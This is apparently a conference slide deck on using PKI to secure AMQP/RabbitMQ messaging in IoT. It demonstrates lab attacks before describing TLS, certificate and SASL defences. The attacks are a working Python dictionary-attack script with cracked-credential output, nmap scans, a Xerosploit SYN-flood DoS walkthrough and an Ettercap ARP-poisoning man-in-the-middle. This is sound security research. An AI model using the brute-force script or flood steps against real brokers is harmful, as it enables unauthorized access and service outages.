

5th INTERNATIONAL CONFERENCE ON PUBLIC KEY INFRASTRUCTURE AND ITS APPLICATIONS (PKIA 2024)

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Role of PKI in Securing AMQP Communication


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AGENDA

- Introduction
- Security Threats in AMQP
 - Dictionary Attack
 - DoS Attack
 - MitM Attack
- Role of PKI for AMQP Security
- Challenges in Security of IoT with AMQP
- Conclusion

Introduction – IoT

- The way Internet has reformed the world, we can hardly envisage our lives without it.
- We are living in the era where various objects across the globe are connected to the Internet.
- These objects are uniquely identifiable and can sense, actuate, and communicate without human intercession.
- According to recent estimates, there are approximately 62 billion IoT devices in the world today, outnumbering humans.
- By some estimates, the number of connected devices in the world will surpass 150 billion by the year 2030.
- Approximately 30 years after the birth of IoT, society is confronted with significant challenges regarding IoT security.



Advanced Messaging Queueing Protocol - AMQP

- Application Layer Protocols - Device to Device Communication
- HTTP, CoAP, MQTT, AMQP etc.
- AMQP is also a communication protocol designed specifically for IoT, which uses Publish/Subscribe messaging as its core.
- Publisher emits messages to Exchange
- Consumer receives messages from the queue
- Binding connects an exchange with a queue using binding key
- Exchange compares the routing key with binding key



Default Configurations
Vulnerabilities in Network
The Infrastructure Lack
Compromise of Implementation Weaknesses of
IoT Devices AMQP Timely Updates
Unauthorized Access to Sensitive Data Exploitation of Weak Authentication and Encryption Mechanisms
IoT Device Ecosystem Flaws Manipulation of Messages Denial-Of-Service Attacks
Attack Vectors
Targeting AMQP Brokers

Attacks on AMQP

- **Dictionary Attack**



- Involves systematically trying of potential credentials from a pre-defined list to gain unauthorized access to the messaging broker. This type of attack exploits weak or default passwords to compromise the RabbitMQ server and potentially intercept or manipulate messages.

- **Denial of Service – DoS**

- Targets the messaging broker by overwhelming it with excessive traffic or resource-intensive operations, causing it to become unresponsive or crash.

- **Man in the Middle – MitM**

- Involves intercepting and potentially altering messages exchanged between Broker and the Publisher, compromising data integrity and confidentiality.



Dictionary Attack

- Scanning of AMQP on connected device
- Version grabbing of RabbitMQ Server

```
PORT      STATE SERVICE VERSION
5672/tcp  open  amqp    RabbitMQ 3.9.13 (0-9)
```

- Generate a Dictionary and perform an attack

```
└─$ sudo python dictionaryAttack.py
[+] Success: User: sammy — Password: sammy
[+] Success: User: user — Password: user
[+] Success: User: kali — Password: kali
[+] Success: User: user — Password: user
Dictionary Attack finished
```

```
└─$ nmap -p- 192.168.2.67
Starting Nmap 7.94SVN ( https://nmap.org ) at 20
Nmap scan report for 192.168.2.67
Host is up (0.00017s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE
1883/tcp  open  mqtt
4369/tcp  open  epmd
5672/tcp  open  amqp
15672/tcp open  unknown
25672/tcp open  unknown
```

```
import pika

target = "192.168.2.67"
user_list = "/home/kali/userlist.txt"
pass_list = "/home/kali/passwd.txt"

with open(user_list, "r") as ins:
    for username in ins:
        with open(pass_list, "r") as ins:
            for password in ins:
                username = username.rstrip()
                password = password.rstrip()
                credentials = pika.PlainCredentials(username, password)
                parameters = pika.ConnectionParameters(target, 5672, '/', credentials)
                try:
                    connection = pika.BlockingConnection(parameters)
                    print("[+] Success: User: " + username + " — Password: " + password)
                except Exception as e:
                    continue

print("Dictionary Attack finished")
```

DoS Attack on AMQP

- Launch Xerosploit Tool
- Scan for Devices in the Network
- Set the Target

```

kali@kali:~$ sudo xerosploit
[sudo] password for kali:
XEROSPLOIT
[+] Author : @LionSec1 Website: www.neodrix.com
[ Powered by Bettercap and Nmap ]
  
```

```

Xero -> scan
[++] Mapping your network ...
[+] [ Devices found on your network ] [++]
  
```

IP Address	Mac Address	Manufacturer
192.168.2.1	EC:9B:8B:02:24:38	(Hewlett PackardEnterprise)
192.168.2.5	C8:D3:A3:A5:01:8A	(D-Link International)
192.168.2.11	6C:0B:84:44:FE:18	(Universal GlobalScientific)
192.168.2.12	A8:A1:59:03:22:DF	(ASRock Incorporation)
192.168.2.13	00:E0:4C:13:7D:C2	(Realtek Semiconductor)
192.168.2.15	00:24:A8:CD:1F:80	(ProCurve Networkingby)
192.168.2.19	A8:A1:59:03:1F:EF	(ASRock Incorporation)
192.168.2.35	00:E0:4C:13:7D:BC	(Realtek Semiconductor)
192.168.2.36	00:E0:4C:13:7D:CE	(Realtek Semiconductor)
192.168.2.37	00:E0:4C:13:7D:B9	(Realtek Semiconductor)
192.168.2.45	00:E0:4C:13:7D:FB	(Realtek Semiconductor)
192.168.2.50	04:92:26:5C:7C:77	(ASUSTek Computer)
192.168.2.57	00:E0:4C:13:A9:42	(Realtek Semiconductor)
192.168.2.61	00:E0:4C:13:7D:BF	(Realtek Semiconductor)
192.168.2.62	A8:A1:59:03:1F:85	(ASRock Incorporation)
192.168.2.63	04:92:26:5C:7B:84	(ASUSTek Computer)
192.168.2.67	08:00:27:70:78:9F	(Oracle VirtualBoxvirtual)
192.168.2.71	04:92:26:5C:77:7F	(ASUSTek Computer)
192.168.2.74	00:50:4C:13:7D:55	(Realtek Semiconductor)

```

[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.
Xero -p 5672 192.168.2.67
[++] -p 5672 192.168.2.67 has been targeted.
  
```

- Access module information and select the DoS module

```

[+] Which module do you want to load ? Enter 'help' for more information.
Xero>modules -> dos
  
```

DoS Attack

Send a succession of SYN requests to a target's system to make the system unresponsive to legitimate traffic





```

[+] Enter 'run' to execute the 'dos' command.
Xero>modules>dos -> run
[++] Performing a DoS attack to -p 5672 192.168.2.67 ...
[++] Press 'Ctrl + C' to stop.
HPING 192.168.2.67 (eth0 192.168.2.67): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
  
```

- The RabbitMQ server has stopped responding. A total of 1,91,00,189 packets were transmitted to the targeted IP address. The DoS attack was successfully executed.

Man in the Middle Attack

- Man-in-the-Middle through ARP Poisoning on AMQP – Ettercap Tool on Kali Linux
- Target 1 and Target 2 are set to IP addresses 192.168.2.67 (AMQP server - Broker) and 192.168.2.24 (Publisher), respectively
- Adjust the optional parameters to "sniff remote connections" and click OK
- the ARP cache poisoning attack is successfully launched using the Ettercap tool. This attack intercepts all network traffic between the AMQP server (the Broker) and the Publisher.
- the Publisher's message to the Broker is seen, which says, "Hello World", compromising the integrity and confidentiality of the AMQP communication.



Role of PKI in AMQP Security

- Integrating PKI into the AMQP protocol significantly strengthens its authentication mechanisms, such as SASL and TLS.
- By incorporating digital certificates and cryptographic protocols, PKI provides a robust framework for verifying the identities of communicating entities.
- This ensures that only trusted parties can establish connections, thereby enhancing the overall security of the messaging system and safeguarding data integrity and confidentiality during transmission.
- Certificate-based authentication, where X.509 digital certificates verify the identities of brokers and clients, enhancing overall system security.
- TLS encrypts data exchanged between clients and servers, preventing unauthorized access and eavesdropping.
- SASL adds a layer of security by providing additional authentication mechanisms (such as Kerberos, NTLM, etc) that validate user credentials securely.

CHALLENGES IN SECURING IOT COMMUNICATION WITH AMQP

- Securing IoT communication using the AMQP presents several challenges due to the unique characteristics and requirements of IoT devices and networks.
- These devices often have limited processing power, memory, and battery life, making it hard to use strong security features like encryption and authentication without slowing down the device or draining the battery.
- Used in different and sometimes risky environments, which makes them more vulnerable to physical tampering or unauthorized access.
- Different devices from various manufacturers, each with its own level of capabilities and security. Managing security tasks like firmware updates, patching, and access control across this mix of devices can be challenging.

Conclusion

- This paper emphasizes the critical role of PKI in securing AMQP-based IoT communication.
- We have identified the attack vectors associated with AMQP, demonstrated several key attacks, and outlined how PKI can effectively mitigate these threats.
- Our analysis highlights how PKI is essential for safeguarding AMQP-based IoT communication against evolving threats, thereby strengthening the overall security and reliability of IoT ecosystems.

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THANK YOU